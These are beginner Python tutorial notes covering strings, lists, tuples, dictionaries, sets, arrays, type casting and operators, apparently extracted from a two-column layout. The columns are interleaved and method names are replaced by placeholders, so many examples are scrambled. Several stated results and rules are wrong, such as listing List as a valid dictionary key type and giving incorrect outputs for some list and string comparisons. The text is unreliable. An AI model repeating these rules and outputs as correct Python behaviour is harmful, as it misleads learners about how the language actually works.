Python
Python
It developed by Guido van Rossum, a Dutch scientist. It got an idea for creating python in
1980 then it started the development of python in 1989 and realeased in 1991. It all started
as a hobby.
Python used interpreter :- In the interpreter it check line by line code. If one line of code has
error then it will stop there and show the error.
Variables:-
They are like containers which used to store data values. Like
Variable Value
A 3
Note:- If it has two different variable but has same value. Then it will save at same memory
space(It has same id). Like
Variable Value
A 2
B 2
a = 8,7,9
print(a) -> 8,7,9
a,b = 7,2
print(a,b) -> 7,2
print(a) -> 7
print(b) -> 2
a =b=c=d=e = 90
print(a) -> 90
print(d) -> 90
print(e) -> 90
and many-more.
Variable = Datatype(Value)
DataType
DataTypes Examples
Integer-Datatype All Numeric-Value(1,2,-1,-2….manymore.)
Float-Datatype All Point Value(1.2,12.5,…..manymore.)
Complex-Datatype 3 + 2j ( j – it is must)
String-Datatype Anything written B/w (‘ ’, “ ”, ‘’’ ‘’’)
String:-
String is an ordered collection of data items.
String is immutable. You can not add any new elements or words at desired position
or nor delete in existing String.
String is defined by ‘ ‘, “ “, ‘’’ ‘’’ we called it Quotes.
String is used to print a message.
In String every character or elements counts including spaces. like(name -> 5)
In String you can add or multiply the Strings.
Positive-Indexing:- It Starts with 0 to +ve infinity. It Direction from left to Right. It is used to
access only single elements or character(a,b,c….manymore.)
Negative-Indexing:- It Starts with -1 to –ve infinity. It Direction from Right to Left. It is used
to access only single elements or character(a,b,c….manymore.)
Ctrl + /
Slicing :-
Note:- If word or letter not present in String then it a =’hello harish sharma’
will return -1. b = [Link](‘ha’)
print(b)
:- 6
Compare(>,<, =>, =<) print( ‘Emma > ‘Emm’ )
print( ‘John’ > ‘Jhon’ ) :- True
:- True
a = 'harish'
b = a * 3
print(b)
:-harishharishharish
print([Link](Vsub-String, len(gap)) str1 = 'my isname isisis
jameis isis bond'
str1 = 'my isname isisis jameis isis bond' sub = 'is'
sub = 'is' print([Link](sub, 3
print([Link](sub, 4 )) ))
:- 6 :- 7
str1 = 'enter your name name name str1 = 'enter your name
name' name name name'
sub = 'name' sub = 'name'
print([Link](sub, 12)) print([Link](sub))
:- 3 :- 4
print(a)
:- The value of a is Harish. The value of b is Sharma.
a = ‘123@#’
b = [Link]()
print(b)
:- False
[Link]() a = ‘myname123’
b = [Link]()
[Link]() = this method help to identify print(b)
only alphabet present in a String. :- False
a = ‘my name’
b = [Link]()
print(b)
:- False
a = ‘myname@#’
b = [Link]()
print(b)
:- False
[Link]() a = ‘1234’
b = [Link]()
[Link]() = this method help to identify print(b)
numbers present in String or not. :- True
a = ‘abc1234’
b = [Link]()
print(b)
:- False
[Link]() a = ‘1’
b = [Link]()
[Link]() = The method returns True if print(b)
all the characters are decimals (0-9). :- True
a = ’12 34’
b = [Link]()
print(b)
:- False
[Link]() a = ‘123’
b = [Link]()
[Link]() = The method returns True if print(b)
all the characters are numeric (0-9), :- True
otherwise False.
a = ’12 34’
Note:- No-BackSpaces, No-alphabets, No- b = [Link]()
SpecialCharacters, No-FloatIntegers. print(b)
:- False
[Link]() a = ‘123’
b = [Link]()
[Link]() = this method help to check print(b)
Value is defined in Python or not. :- True
a = ‘@’
b = [Link]()
print(b)
:- True
[Link]() a = ‘as vc’
b = [Link]()
[Link]() = This method returns True if all print(b)
the characters are in lower case, otherwise :- True
False.
a = ‘WEetd’
Note:- No-UpperCharacters. b = [Link]()
print(b)
:- False
a = ‘adc123’
b = [Link]()
print(b)
:- True
[Link]() a = ‘DG SD’
b = [Link]()
[Link]() = This method returns True if all print(b)
the characters are in upper case, otherwise :- True
False.
a = ‘adSD’
b = [Link]()
print(b)
:- False
a = ‘SDC123’
b = [Link]()
print(b)
:- True
a = ‘123’
b = [Link]()
print(b)
:- False
List:-
List is an ordered collection of data items.
List is mutable. It can be added or delete in original List.
List can store similar and different types of data values. Like:-
String,Dictonary,Tuples,Integers etc.
List is defined by square brackets. []
Every Value in a List is Separated by Comma (,). Like:- [1,2,3, “String”, {2:3}]
List-Indexing,Methods
a = [] Anything Between the SquareBrackets is
print(type(a)) called List.
:- <class ‘list’> []
a = [1, ’String’, {2:3}, (‘String’,2), [26,7] ] :- <class 'list'> [1, 'String', {2: 3}, ('String', 2),
print(type(a), a) [26, 7]]
#Positive-Indexing. Postive-Indexing can help us to get the
access of a Value inside a List.
It start from 0 to manymore..
a = [1,2,3,'String'] It start from left to Right.
b = a[2]
c = a[3] :- 3, String
print(b, c)
a = [1,2,3,'String']
b = a[2], a[3] :- (3, ‘String’)
print(b)
a = [2,3,4,5,6,78]
[Link]('String')
print(a)
:- [2,3,4,5,6,78,’String’]
a = [2,3,4,5,6,78]
[Link]({2:4})
print(a)
:- [2,3,4,5,6,78,{2:4}]
Insert :- this method help to Position a new a = [2,3,4,5,6,78]
Value at the Desired Position. [Link](2,33)
print(a)
[Link](Index_No. , Value) :- [2, 3, 33, 4, 5, 6, 78]
a = [2,3,4,5,6,78]
[Link](3, 6.9)
print(a)
:- [2, 3, 4, 6.9, 5, 6, 78]
a = [2,3,4,5,6,78]
[Link](1, [1,2])
print(a)
:- [2, [1, 2], 3, 4, 5, 6, 78]
a = [1,2,3,4]
b = a * 2
print(b)
:- [1, 2, 3, 4, 1, 2, 3, 4]
a = [2,3,4,5,6,78]
[Link](4), [Link](78)
print(a)
:- [2, 3, 5, 6]
a = [2,3,4,5,6,78]
del a[2:6]
print(a)
:- [2, 3]
a = [2,3,4,5,6,78]
del a[::2]
print(a)
:- [3, 5, 78]
a = [2,3,4,5,6,78,[56,2]]
del a[6][0]
print(a)
:- [2, 3, 4, 5, 6, 78, [2]]
a = [2,3,4,5,6,78]
del a[1::2]
print(a)
:- [2, 4, 6]
[Link]() a = [2,3,4,5,6,78]
[Link]()
[Link]() :-this method help to delete print(a)
whole List Values and make it empty. :- []
[Link]() a = [2,3,4,5,6,78]
[Link]()
[Link]() :- this method help to print(a)
reverse the whole list Values. :- [78, 6, 5, 4, 3, 2]
[Link]() a = [78,45,2,33,49]
[Link]()
[Link]() :- this method help to arrange print(a)
all Values inside of List in ascending :- [2, 33, 45, 49, 78]
order.
[Link]() a = [78,45,2,33,49]
[Link]()
[Link]() :- this method help to arrange print(a)
all Values inside of List in ascending :- [2, 33, 45, 49, 78]
order.
a = [78,45,2,33,49]
[Link]()
[Link]()
print(a)
:- [78, 49, 45, 33, 2]
[Link](Value inside of List) a = [78,45,2,33,9,9,9,49]
b = [Link](9)
[Link](Value) :- this method help to print(b)
check how many times same value :- 3
repeated.
[Link](Value inside of List) a = [78,45,2,33,9,9,9,49]
b = [Link](78)
[Link](Value) :- this method help to print(b)
find the index no. of value inside the :- 0
List.
[Link]() c = [3,4,5,56,90]
a = [78,45,2,33,9,9,9,49]
[Link]() :- this method help to copy the b = [Link](), [Link]()
whole List inside a another Variable. print(b)
:- ([78, 45, 2, 33, 9, 9, 9, 49], [3, 4, 5, 56,
Note:- It saves the datatype in a same 90])
memory-location.
a = [78,45,2,33,9,9,9,49]
b = [Link]()
print(b)
:- [78, 45, 2, 33, 9, 9, 9, 49]
a = [78,45,2,33,9,9,9,49]
b = [89,'String',{3:4},5,(4,590)]
c = [8,65,34,[23,67,55]]
d = a+b+c
print(d)
:- [78, 45, 2, 33, 9, 9, 9, 49, 89, 'String', {3: 4}, 5, (4, 590), 8, 65, 34, [23, 67, 55]]
Tuple :-
Tuple is a sequence data type.
Tuple is an order collection of data items.
Tuple can store any data type. List, Tuple, Dictonary, String, Integer etc.
Tuple can store similar and different data items.
Tuple is defined by parenthesis ().
Tuple is immutable
a = () a = (1,2,3,4)
print(type(a)) b = a * 2
print(b)
:- <class ‘tuple’>
:- (1, 2, 3, 4, 1, 2, 3, 4)
a = (1,1,1,1,2.3,4,5)
print(a, type(a)) a = 2,3,4
:- (1, 1, 1, 1, 2.3, 4, 5) <class 'tuple'> b = type(a)
print(a, b)
a = (1, ‘String’, [3,4], {2:3}, 9.8)
:- (2, 3, 4) <class 'tuple'>
print(a, type(a))
:- (1, 'String', [3, 4], {2: 3}, 9.8) <class a = (2)
'tuple'> b = type(a)
print(b)
:- <class 'int'>
len(Variable) a = (1,1,1,'String',[3,4],(2,3))
b = len(a)
len(V) = this method help to find the length print(b)
of Tuple it starts from 1 to manymore… :- 6
a = (1,2,3,5,6,'')
print(len(a))
:- 6
[Link](Value inside a Tuple) a = (1,1,1,1,1,5,6,7)
b = [Link](1)
[Link](Value) :- this method help to count print(b)
the value repeatation inside the Tuple. :- 5
a = (1,1,1,2,3,5,6,7)
b = (7,8,9,5,67)
c=a+b
print(c)
:- (1, 1, 1, 2, 3, 5, 6, 7, 7, 8, 9, 5, 67)
a = (1,1,1,2,3,5,6,7)
print(id(a))
b = (7,8,9,5,67)
c=a+b
print(id(c))
print(c)
:- 2334710629312
2334710902224
(1, 1, 1, 2, 3, 5, 6, 7, 7, 8, 9, 5, 67)
a = (1,2,3,4)
b=a*2
print(b)
:- (1, 2, 3, 4, 1, 2, 3, 4)
max(Variable) a = (1,1,55,70,88,1,2,3,5,6,7)
b = max(a)
max.(V) = this method help to find the print(b)
maximum value inside the tuple. :- 88
min.(Variable) a = (1,1,55,70,88,1,2,3,5,6,7)
b = min(a)
min.(V) = this method help to find print(b)
minimum value inside the tuple. :- 1
Dictionary:-
Dictionary is an unodered collection of data values.
Dictionary holds key:value pair. {key:value}
A Dictionary can be created by placing a sequence of elements within curly {} braces,
separated by ‘comma , ’.
Values in a dictionary can be any data type can be duplicated. But keys can’t be
repeated
Dictionary is mutable can be added or deleted.
Keys are only created by immutable datatypes :- Numeric, String, Tuple, List.
a = {} a = {'name':'abc'}
print(type(a)) print(len(a))
:- <class 'dict'> print(type(a))
:- 1
<class 'dict'>
a = {'name':'abc' , 12:56, (4,5,6) : 90} a = {'name':('abc',56,9.8), 12:56, (4,5,6):90}
print(a) print(a)
print(len(a)) print(len(a))
print(type(a)) print(type(a))
:- {'name': 'abc', 12: 56, (4, 5, 6): 90} :- {'name': ('abc', 56, 9.8), 12: 56, (4, 5, 6):
3 90}
<class 'dict'> 3
<class 'dict'>
Sets:-
Set is an unordered collection of data items.
Set is defined by build in set function. set()
Set does not support repeated values.
Set can be created by {}.
It is mutable data type can change.
a = set() a = set('this')
print(type(a)) print(a)
:- <class 'set'> :- {'i', 't', 's', 'h'}
a = {12,34,2,4,5} a = {12,34,2,4,5}
print(a) for i in a:
:- {34, 2, 4, 5, 12} print(i)
34
2
4
5
12
a = {12,34,(5,6),[1,2,3]} a = {12,34,2,4,5}
print(type(a)) [Link](45)
:- TypeError: unhashable type: 'list' print(a)
:- {34, 2, 4, 5, 12, 45}
Note:- It only contains immutable values
inside a Set that can not change. Like:- Note:- Only immutable value can add inside
Numeric-Values, Tuples, Strings. {} a Set Numeric-Values, Tuples, Strings and
Only one arguments.
Note:- Not use integers in Update Method. Note:- Only immutable values can add or
only one arguments.
a = {12,34,2,4,5} a = {12,34,2,4,5}
[Link]() [Link](1)
print(a) print(a)
:- {2, 4, 5, 12}
:- TypeError: [Link]() takes no arguments
[Link]() :- this method help to remove (1 given)
random value from Set.
a = {12,34,2,4,5} a = {12,34,2,4,5}
[Link](12) [Link](34)
print(a) print(a)
:- {34, 2, 4, 5} :- {2, 4, 5, 12}
Note:- If Value doesn’t present in a Set. It [Link]() :- this method help to empty
will not show the Error whole Set at one time.
a = {12,34,2,4,5} a = {12,34,2,4,5}
del a b = [Link]()
print(a) print(b)
:- name 'a' is not defined :- {34, 2, 4, 5, 12}
Note:- this method help Delete whole Set. [Link]() :- this method help to copy the
whole set of variable
a = {12,12,12,34,2,4,5}
print(a)
:- {34, 2, 4, 5, 12}
a = {12,34,2,4,5, 'is'}
b = {45,67,89,12,34}
d = {22,33,5,34} 4
a.difference_update(b)
print(a)
b.difference_update(a)
print(b)
:- {2, 4, 5, 'is'}
{34, 67, 89, 12, 45}
[Link](Variable) a = {1,2,3}
b = {4,1,5,6}
[Link](Variable) :- this method help to c = [Link](b)
combine two sets return one time if same print(c)
value present in both Sets. :- {1, 2, 3, 4, 5, 6}
[Link](Variable) a = {1,2,3}
b = {4,1,5,6}
[Link](Variable) :- this method help c = [Link](b)
to get only common values between two print(c)
sets. :- {1}`
Variable.intersection_update(Variable) a = {1,2,3}
b = {4,1,5,6}
V.intersection_update(Variable) :- this a.intersection_update(b)
method help to update the Variable set. print(a)
:- {1}
[Link](Variable) a = {2,34,'is', 5}
b = {45,67,89,12,34}
[Link](V) :- this method help to check c = [Link](b)
True or False. print(c)
If both sets have different Values it will give :- False
True.
If both sets have different same Values or x = {"apple", "banana", "cherry"}
even one same Value it will give False. y = {"google", "microsoft", "facebook"}
z = [Link](y)
print(z)
:- True
[Link](Variable) a = {1,2}
b = {1,2,3,4}
[Link](Variable) :- this method help to c = [Link](b)
check both sets Values if both are same it print(c)
will return True. It not False. :- True
a = {3,1,2}
b = {1,2,3,4}
c = [Link](b)
print(c)
:- True
a = {1,2,5}
b = {1,2,3,4}
c = [Link](b)
print(c)
:- False
[Link](Variable) a = {1,2,3,4}
b = {3,4}
[Link](Variable) :- this method help c = [Link](b)
to check if small set is a part of big set and print(c)
have same Values or not and returns True :- True
Or False. a = {1,2,3,4}
b = {3,4,10}
c = [Link](b)
print(c)
:- False
Variable.symmetric_difference(Variable) a = {1,2,3,4,5,6,7}
b = {1,2,3,4}
V.symmetric_difference(Variable) :- this method c = a.symmetric_difference(b)
help to get the values and set difference values of print(c)
both set in a Variable. :- {5, 6, 7}
a = {1,2,3,4,5,6,7}
b = {1,2,3,4,8,9}
c = a.symmetric_difference(b)
print(c)
:- {5, 6, 7, 8, 9}
Variable.symmetric_difference_update(Variable) a = {1,2,3,4}
b = {5,3,4}
V.symmetric_difference_update(Variable) :- this a.symmetric_difference_update(b)
method help get the difference values from both print(a)
sets and update it. :- {1, 2, 5}
Boolean:-
False -> 0
True -> 1
a=5>6 a = False
print(type(a), a) b = type(a)
:- <class 'bool'> True print(b, a)
:- <class 'bool'> False
a = True while True:
b = type(a) print('This is a loop')
print(b, a) :- This is a loop
:- <class 'bool'> True .
.
Infinite Loop
Array-DataType:-
Array is an ordered collection of data items.
Array is defined by array module.
Array takes two arguments first is Data-Type and Second is Data-Items.
Array is mutable. It can change add or Delete.
Array only can store similar type of data Items. Numberic to Numberic, String to
String etc.
Array default works on one dimensional but we can perform multidimensional
Only one column = One-Dimensional
import array
a = [Link]('i',[7,8,9]) a = [Link]('f',[7,8,9])
print(a) print(a)
:- array('i', [7, 8, 9]) :- array('f', [7.0, 8.0, 9.0])
a = [Link]('d',[7,8,9])
print(a)
:- array('d', [7.0, 8.0, 9.0])
a = [Link]('i',[7,8,9,'this']) a = [Link]('u',['a','b'])
print(a) print(a)
:- array('u', 'ab')
:- TypeError: 'str' object cannot be
interpreted as an integer
[Link](Index_No. , Value)
Variable[Index_No.] a = [Link]('i',[7,8,9])
b = a[1]
V[Index_No.] :- this method help to get the print(b)
values from the array by using Index_no. :- 8
Variable[Index_No_Start: Index_No_End + a = [Link]('i',[7,8,9])
1] b = a[1:3]
print(b)
V[Start:End] :- this method help get the :- array('i', [8, 9])
values from Start to finish + 1.
[Link]() a = [Link]('i',[7,8,9])
[Link]()
[Link]() :- this method help to remove the print(a)
last Value from the array. :- array('i', [7, 8])
If Index_No. not define.
a = [Link]('i',[7,8,9])
[Link](1)
print(a)
[Link](Value) a = [Link]('i',[7,8,9])
[Link](8)
[Link](Value) :- this method help print(a)
remove the any value. :- array('i', [7, 9])
a = [Link]('i',[7,9,6,8])
b = sorted(a)
print(b)
[Link]()
print(b)
:- [9, 8, 7, 6]
Numpy
Import array
Import numpy
a = [Link]([[34,56,67], ['abc', 'ds', 'fd'], ['fref', 4.5, 7.8]])
print(a)
:- [['34' '56' '67']
['abc' 'ds' 'fd']
['fref' '4.5' '7.8']]
a = [Link]([[34,56,67], ['abc', 'ds', 'fd'], ['fref', 4.5, 7.8]]) Getting the
b = a[0][0], a[1][2], a[2][2], a[2] access of Values
print(b) from numpy
:- ('34', 'fd', '7.8', array(['fref', '4.5', '7.8'], dtype='<U32')) array
a = [Link]([['ab','cd','bd'], [12,24,34], [14,34,'abc']]) Ascending-Order
[Link]()
print(a)
:- [['ab' 'bd' 'cd']
['12' '24' '34']
['14' '34' 'abc']]
UNICODE-Space-left
Type-Casting:-
Type-Casting used to change to the Type of a Value. Like:- float to int, tuple to list
:- 97 <class 'int'>
:- A
a = {1,2,3,4} a = 1,2,3,4
b = list(a) print(type(a))
print(b, type(b)) b = list(a)
print(b, type(b))
:- [1, 2, 3, 4] <class 'list'>
:- <class 'tuple'>
[1, 2, 3, 4] <class 'list'>
a = 'string' a = 'enter', 'your', 'name'
b = list(a) b = list(a)
print(b, type(b)) print(b, type(b))
:- ['s', 't', 'r', 'i', 'n', 'g'] <class 'list'> :- ['enter', 'your', 'name'] <class 'list'>
a = 1
b = list(a)
print(b)
:- ('S', 't', 'r', 'i', 'n', 'g') <class 'tuple'> :- (1, 2, 3, 4, 5) <class 'tuple'>
a = 1.2,3.4,4.5 a = {1,2,3,4,5}
b = tuple(a) b = tuple(a)
print(b, type(b)) print(b, type(b))
a = (1,2,3,4,5) a = [12,3,4]
b = str(a) b = str(a)
print(b, type(b)) print(b, type(b))
a = 's'
b = str(a)
print(b, type(b))
:- s <class 'str'>
List, Tuple, dic to set :- To remove a = [1,2,3,4,5]
duplicate values. b = set(a)
print(b, type(b))
a = {2:3,4:5,6:7}
b = set(a) :- {1, 2, 3, 4, 5} <class 'set'>
print(b, type(b))
a = (1,2,3,4) a = 'String'
b = set(a) b = set(a)
print(b, type(b)) print(b, type(b))
:- {1, 2, 3, 4} <class 'set'> :- {'i', 'S', 't', 'r', 'g', 'n'} <class 'set'>
a = {1,2,3,4} a = {1,2,3,4}
b = [Link](a,[5,6,7]) c = {1,2,3}
print(b) b = [Link](a,c)
print(b)
:- {1: [5, 6, 7], 2: [5, 6, 7], 3: [5, 6, 7], 4: [5,
6, 7]} :- {1: {1, 2, 3}, 2: {1, 2, 3}, 3: {1, 2, 3}, 4: {1,
2, 3}}
a = (1,2,3,4) a = (1,2,3,4)
b = (1,2,3,4) b = [5,6,7,8]
c = dict(zip(a,b)) c = dict(zip(a,b))
print(c) print(c)
:- {1: 1, 2: 2, 3: 3, 4: 4} :- {1: 5, 2: 6, 3: 7, 4: 8}
a = {1,2,3,4} a = {1,2,3}
b = [10,11,12,13] b = {4,5}
c = dict(zip(a,b)) c = dict(zip(a,b))
print(c) print(c)
a = [1,2,3] a = [5,6,7,8]
b = [4,5,8,90,100] b = bool(a)
c = dict(zip(b,a)) print(b)
print(c)
:- True
:- {4: 1, 5: 2, 8: 3}
Note:- this method help to check if value is
empty False, or not True.
a = [] a = [1]
b = bool(a) b = bool(a)
print(b) print(b)
:- False :- True
:- 0x17
a = 123 a =1567
b = hex(a) b = hex(a)
print(b) print(b)
:- 0x7b :- 0x929
a = 2345 a = 5678
b = hex(a) b = hex(a)
print(b) print(b)
:- 0x929 :- 0x162e
a = 2222 a = 3333
b = hex(a) b = hex(a)
print(b) print(b)
:- 0x8ae :- 0xd05
a = 242
b = hex(a)
print(b)
:- 0xf2
Numbers to octate:- 0-7 a = 255
b = oct(a)
a = 23 print(b)
b = oct(a)
print(b) :- 0o377
:- 0o27
Functions:-
There are two types of functions. In-Built Functions, User-define-Function
Built-In Function :- Those functions are defined by Python like. Input etc.
User-define Function :- Those functions are defined by User.
Built-In Functions:-
:- The value of a is 12 The value of b is 67 :- The value of a+b is 79 The value of b,a is 67
12
a = int(input('Enter Value A: ')) Enter Value A: 56
b = int(input('Enter Value B: ')) Enter Value B: 54
c = int(input('Enter Value C: '))
Enter Value C: 20
print('The value of a is :',a,'\nThe The value of a is : 56
value of b is :',b,'\nThe value of c The value of b is : 54
is :',c) The value of c is : 20
e = a-b-c-d
print('The Subraction Value of all',e)
Operators:-
Arithmetic-Operator:- + , - , *, / , % , ** , //
Plus(+) :- a = 12
b = 89
c = a + b + 90
Note:- Only String, Tuple, List can use +. print('The value of c is',c)
a = 12
b = 89 :- The value of c is 191
c = a + b
print('The value of c is',c)
a = 23 a = [1,2,3,4,5]
b = 90 b = [6,7,8,9,10]
print('The value of a+b',a+b) print('The Total Value',a+b)
:- (1, 2, 3, 1, 2, 3, 1, 2, 3) :- StringStringString
Division(/) :- always return in float no. a = 12
Quotient b = 6
a = 90 c = a/b
b = 90 print('The value of c',c)
c = a/b
print('The value of c',c) :- The value of c 2.0
Modulus ( % ) :- Remainder a = 2
b = 2
a = 5 print(a%b)
b = 2
c = a%b :- 0
print(c)
:- 1
Power( ** ) :- a = 5
b = 2
c = a**3
a = 5
print(c)
b = 2
c = a**b
print(c) :- 125
:- 25
Integer-Division( // ) :- Value Round-Off- a = 5
Divide. b = 4
c = a//b
print(c)
Note:- If Value is +ve in [Link] then it will
show low Value. Go-backwards. :- 1
Go-Backwards.
If Value is –ve in [Link] then it will show
high Value. Go-Forwards.
a = -5 a = 15
b = 4 b = 2
c = a//b c = a//b
print(c) print(c)
:- -2 :- 7
Go-Forward. Go-Backwards.
a = -15
b = 2
c = a//b
print(c)
:- -8
Go-Forward.
Assignment-Operators:-
= , += , -= , *= , /= , %= , **=
:- :-
89 89
91 91
a = [1,2,3,4] a = (1,2,3,4,5)
a += [5,6,7,8,9] a += (6,7,8,9)
print(a) print(a)
:- [1, 2, 3, 4, 5, 6, 7, 8, 9] :- (1, 2, 3, 4, 5, 6, 7, 8, 9)
a = 'String1' a = 4.5
a += 'String2' a += 8
print(a) print(a)
:- String1String2 :- 12.5
a =90 a =90
a -= 50 a = a - 50
print(a) print(a)
:- 40 :- 40
a = 89 a = 89
a -= 90 a = a - 90
print(a) print(a)
:- -1 :- -1
*= Multiplication and Assign a = 12
print(a)
a =a * 2
Note:- Not Dictionary, Set. print(a)
a = 12
print(a) :-
a *= 2 12
print(a) 24
:-
12
24
a = 4 a = 4
a *= 4 a = a * 4
print(a) print(a)
:- 16 :- 16
a = [1,2,3] a = [1,2,3]
a *= 3 a = a * 3
print(a) print(a)
:- [1, 2, 3, 1, 2, 3, 1, 2, 3] :- [1, 2, 3, 1, 2, 3, 1, 2, 3]
a = (1,2,3) a = (1,2,3)
a *= 3 a = a * 3
print(a) print(a)
:- (1, 2, 3, 1, 2, 3, 1, 2, 3) :- (1, 2, 3, 1, 2, 3, 1, 2, 3)
a = 'String' a = 'String'
a *= 3 a = a * 3
print(a) print(a)
:- StringStringString :- StringStringString
:- 2
a = 19 a = 19
a %= 3 a = a % 3
print(a) print(a)
:- 1 :- 1
a = 20 a = 20
a %= 4 a = a % 4
print(a) print(a)
:- 0 :- 0
:- 16
a = 90 a = 90
a**= 9 a = a**9
print(a) print(a)
:- 387420489000000000 :- 387420489000000000
a = -17 a = -17
a//=4 a = a // 4
print(a) print(a)
:- -5 :- -5
Comparison-Operator:-
> , < , <= , >= , == , != :- True or False, 0 -> False, 1 -> True
First checking the Greater-Values then Length –> Rule
Dictionary doesn’t work.
:- False
a = 'String' a = 'ztring'
b = 'String' b = 'String'
c = a > b c = a > b
print(c) print(c)
:- False :- True
a = 'StringString' a = [1,2,3]
b = 'String' b = [1,2,3]
c = a > b c = a > b
print(c) print(c)
:- True :- False
a = [1,2,3,4] a = [1, 2, 3]
b = [1,2,3] b = [1, 2, 10]
c = a > b print(a > b)
print(c)
:- False
:- True
Note:- If values of two variable same but
one length is greater than other than
greater one is Bigger.
a = [1, 2, 3, 4] a = (1,2,3)
b = [1, 2, 10] b = (1,2,3)
print(a > b) c = a > b
print(c)
:- False
:- False
a = (1,2,3,0) a = {1,2,3}
b = (1,2,3) b = {1,2,3}
c = a > b c = a > b
print(c)
:- True :- False
a = {1,2,3,4} a = '1String'
b = {1,2,3} b = 'String'
c = a > b print(a > b)
print(c)
:- False
:- True
a = [12,2,3,4] a = [9,7,3]
b = [11,6,7,8] b = [5,11,7]
c = a > b c = a > b
print(c) print(c)
:- True :- True
a = [1,2,3,4] a = [1,2,3,0]
b = [9,8,7] b = [1,2,3]
print(a > b) c = a > b
print(c)
:- False
:- True
a = [9,8,7,10] a = [9,8,7,10,0]
b = [9,8,7,11] b = [9,8,7,11]
c = a > b c = a > b
print(c) print(c)
:- False :- False
a = 'String' a = 'ztring'
b = 'String' b = 'String'
c = a < b c = a < b
print(c) print(c)
:- False :- False
a = 'StringString' a = [1,2,3]
b = 'String' b = [1,2,3]
c = a < b c = a < b
print(c) print(c)
:- False :- False
a = [1,2,3,4] a = [1, 2, 3]
b = [1,2,3] b = [1, 2, 10]
c = a < b print(a < b)
print(c)
:- True
:- False
a = [1, 2, 3, 4] a = (1,2,3)
b = [1, 2, 10] b = (1,2,3)
print(a < b) c = a < b
print(c)
:- True
:- False
a = (1,2,3,0) a = {1,2,3}
b = (1,2,3) b = {1,2,3}
c = a < b c = a < b
print(c) print(c)
:- False :- False
a = [12,2,3,4] a = [9,7,3]
b = [11,6,7,8] b = [5,11,7]
c = a < b c = a < b
print(c) print(c)
:- False :- False
a = [1,2,3,4] a = [1,2,3,0]
b = [9,8,7] b = [1,2,3]
print(a < b) c = a < b
print(c)
:- True
:- False
<= :- Less than and Equal to. a = 89
b = 90
a = 90 print(a <= b)
b = 90
print(a <= b) :- True
:- True
a = [1,2,3,4,5,6,7] a = [1,2,3]
b = [9,8] b = [9,8,7]
print(a <= b) print(a <= b)
:- True :- True
a = [1,9,10,11] a = [1,2,3,4]
b = [5,6,7,8] b = [1,2,3,4]
print(a <= b) print(a<=b)
:- True :- True
a = (1,2,3) a = (1,2,3,4,5,6)
b = (1,2,4) b = (9,8)
print(a <= b) print(a <= b)
:- True :- True
a = {1,2,3} a = {1,2,3,4}
b = {1,2,3} b = {1,2,3}
print(a <= b) print(a <= b)
:- True :- False
a = {1,2,3,4,5,6,7} a = {1,2,3}
b = {9,8} b = {9,8,7}
print(a <= b) print(a <= b)
:- False :- False
>= :- Greater and Equal too. a = [1,2,3,4,5,6,7]
b = [9,8]
a = 89 print(a >= b)
b = 90
print(a >= b) :- False
:- False
a = [1,2,3] a = [1,9,10,11]
b = [9,8,7] b = [5,6,7,8]
print(a >= b) print(a >= b)
:- False :- False
a = [1,2,3,4] a = (1,2,3)
b = [1,2,3,4] b = (1,2,4)
print(a>=b) print(a >= b)
:- True :- False
a = (1,2,3,4,5,6) a = {1,2,3}
b = (9,8) b = {1,2,3}
print(a >= b) print(a >= b)
:- False :- True
a = {1,2,3,4} a = {1,2,3,4,5,6,7}
b = {1,2,3} b = {9,8}
print(a >= b) print(a >= b)
:- True :- False
a = {1,2,3}
b = {9,8,7}
print(a >= b)
:- False
== :- Equals too. a = 100
b = 90
a = 100 print(a==b)
b = 100
print(a==b) :- False
:- True
a = 'this' a = 'this'
b = 'this' b = 'this'
print(a==b) print(a[0] == b[0])
:- True :- True
a = 'Harish' a = 'Harish'
b = 'Sharma' b ='ravi'
print(a[1] == b[-1]) print(a==b)
:- True :- False
a = 'Harish' a = 'Harish'
b ='Havi' b ='Havi'
print(a==b) print(a[0] == b[0])
:- False :- True
a = [1,2,3,4] a = [1,2,3,4]
b = [1,2,3,4] b = [1,2,3,4]
print(a == b) print(a[-1] == b[1])
:- True :- False
a = [1,2,3,4,5] a = [1,2,3,4]
b = [1,2,3,4] b = [1,2,3,5]
print(a == b) print( a == b)
:- False :- False
a = {1:'this'} a = {1:'One', 2:'Two'}
b = {2:'this'} b = {1:'One', 2:'Two'}
print(a[1] == b[2]) print(a == b)
:- True :- True
a = {1:'One', 2:'Two'} a = {1:'One', 2:'Two'}
b = {3:'One', 4:'Two'} b = {3:'One', 4:'Two'}
print(a == b) print(a[1] == b[3])
:- False :- True
:- False
a = [1,2,3] a = [1,2,3,4]
b = [9,2,3] b = [5,6,7]
print(a != b) print(a != b)
:- True :- True
a = {1,2,3} a = {1,2,3}
b = {4,5,6} b = {1,2,3}
print(a != b) print(a != b)
:- True :- False
and (*)
and :- Multiply (*) a = 10
b = 20
a = 10 c = 30
b = 20
c = 30 print(a < b and b < a and c < a)
print(a < b and b < c)
:- False
:- True
a = 10 a = 10
b = 20 b = 20
c = 30 c = 30
print(c > a and b )
print(c > a and b and a)
:- 20
:- 10
a = 10 a = 10
b = 20 b = 20
c = 30 c = 30
print(a > b and c) d = a<b and b<c
print(d)
:- False
:- True
a = 10 a = 10
b = 20 b = 20
c = 30 c = 30
d = a<b and b>c d = a>b and b>c
print(d) print(d)
:- False :- False
a = 10 a = 10
b = 20 b = 20
c = 30 c = 30
d = a<b and c d = a<b and c and b and a
print(d) print(d)
:- 30 :- 10
a = 10 a = 10
b = 20 b = 20
c = 30 c = 30
d = a<b and 100 d = a>b and c
print(d) print(d)
:- 100 :- False
or (+)
a = 10 a = 10
b = 10 b = 20
c = 40 c = 30
print(a==b or b>c) print(b>a or c<a)
:- True :- True
a = 10 a = 10
b = 10 b = 10
c = 40 c = 40
print(a<b or c<a) print(a==b or b>c)
:- False :- True
a = 10 a = 10
b = 10 b = 10
c = 40 c = 40
print(a==b or c) print(a!=b or c)
:- True :- 40
a = 10 a = 10
b = 10 b = 10
c = 40 c = 40
print(a!=b or 1000) print(a!=b or c or b)
:- 1000 :- 40
not (Opposite)
a = 10 a = 10
b = 20 b = 20
c = not a<b c = not a>b
print(c) print(c)
:- False :- True
To check the Value (object) have same memory locations or are they same or not.
a = 34 a = 34
b = 67 b = 34
c = a is b c = a is b
print(c) print(c, id(a), id(b))
:- False 2630150522128 2630150523184 :- True 2630150522128 2630150522128
a = [1,2,3] a = [1,2,3]
b = [1,2,3] b = [1,2,3]
c = a[1] is b[1] c = a[0] is b[1]
print(c, id(a), id(b)) print(c, id(a), id(b))
a = 78 a = 78
b = 89 b = 78
c = a is not b c = a is not b
print(c, id(a), id(b)) print(c, id(a), id(b))
:- True :- False
